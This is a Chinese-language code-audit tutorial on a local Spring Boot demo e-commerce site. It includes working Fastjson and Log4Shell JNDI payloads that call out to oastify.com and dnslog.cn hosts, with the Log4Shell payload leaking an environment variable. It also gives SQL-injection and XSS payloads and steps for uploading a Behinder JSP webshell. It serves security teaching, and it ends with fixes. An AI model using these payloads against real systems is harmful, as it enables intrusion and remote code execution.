java代码审计:tmall购物网站审计
字数 1970 2025-08-11 23:05:55
迷你天猫商城Java代码审计教学文档
一、项目概述
迷你天猫商城是一个基于Spring Boot的综合性B2C电商平台,模拟天猫商城的购物流程,包含用户注册、登录、商品浏览、购物车、下单、收货、评价等功能。后台管理系统包含商品管理、订单管理、类别管理、用户管理和交易额统计等模块。
项目地址:https://gitee.com/project_team/Tmall_demo
二、环境搭建
环境要求
- Windows 10系统
- Java 1.8.0_261
- MySQL 5.7
- IDEA(任意版本)
部署流程
- 创建数据库
tmalldemodb - 导入
/sqls/tmalldemodb.sql数据 - 使用IDEA打开项目,等待Maven加载依赖
- 修改
src/main/resources/application.properties配置文件 - 启动项目
- 前台地址:http://127.0.0.1:8088/tmall
- 后台地址:http://127.0.0.1:8088/tmall/admin
三、组件漏洞审计
3.1 Fastjson反序列化漏洞
组件版本:1.2.58
漏洞验证方法:
- 全局搜索
JSON.parse()和JSON.parseObject() - 在
ProductController.java中发现多处JSON.parseObject()调用(151、257、281行)
黑盒验证:
- 构造URL:http://127.0.0.1:8088/tmall/admin/product
- 使用Burp Collaborator构造POC:
{"@type":"java.net.Inet4Address","val":"nnebxkajwel1tdw8ssiocv9ncei46t.oastify.com"} - 将POC粘贴到
propertyJson字段发送
3.2 Log4j反序列化漏洞
组件版本:2.10.0(存在CVE-2021-44228)
漏洞验证方法:
- 确认引入了
log4j-core - 全局搜索
logger关键字 - 在
AccountController.java中发现漏洞点:logger.info("获取图片原始文件名:{}", originalFileName);
黑盒验证:
- 修改上传文件名:
filename="${jndi:ldap://${env:OS}.b0gbfq.dnslog.cn}"
3.3 MyBatis SQL注入
组件版本:3.5.1
漏洞验证方法:
- 全局搜索
$符号 - 在Mapper文件中查找SQL拼接
- 定位到
orderBy参数可控
黑盒验证:
- 构造URL:http://localhost:8088/tmall/admin/user/1/1
- 测试Payload:
orderBy=rand(1=1)vsorderBy=rand(1=2)orderBy=updatexml(1,if(1=1,1,user()),1)vsorderBy=updatexml(1,if(1=2,1,user()),1)- 时间盲注:
orderBy=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
四、业务逻辑漏洞
4.1 存储型XSS
审计方法:
- 检查全局过滤器(未发现XSS过滤)
- 搜索
update方法 - 定位到
admin_nickname参数回显
黑盒验证:
- 插入Payload:
<script>alert(1);</script>
4.2 任意文件上传
审计方法:
- 检查文件上传功能(管理员头像上传)
- 分析
AccountController.java中的uploadAdminHeadImage方法 - 发现仅检查文件后缀名但未限制文件内容
黑盒验证:
- 上传JSP木马文件
- 修改请求:
- 修改
filename为.jsp - 修改
Content-Type为text/plain - 插入冰蝎木马内容
- 修改
- 访问上传的JSP文件路径
五、Fortify扫描结果分析
- 反射型XSS:多为误报,参数不可控
- KeyManagement:JS中的key,非真实密钥
- Open Redirect:参数不可控,不存在URL跳转
- Password泄露:匹配到password关键字但非真实泄露
- SQL注入:已确认存在
- 弱加密:前端JSP存在AES弱加密
- 密码管理:数据库密码明文配置
六、修复建议
- Fastjson:升级至最新安全版本
- Log4j:升级至2.15.0+或设置
log4j2.formatMsgNoLookups=true - MyBatis:使用
#{}替代${}进行SQL参数绑定 - XSS防护:添加全局过滤器对输入输出进行转义
- 文件上传:限制上传文件类型,检查文件内容
- 密码存储:使用加密存储数据库密码
七、审计工具推荐
- IDEA插件:Free Mybatis plugin
- 测试工具:BurpSuite专业版(含Collaborator功能)
- Webshell管理:冰蝎(Behinder)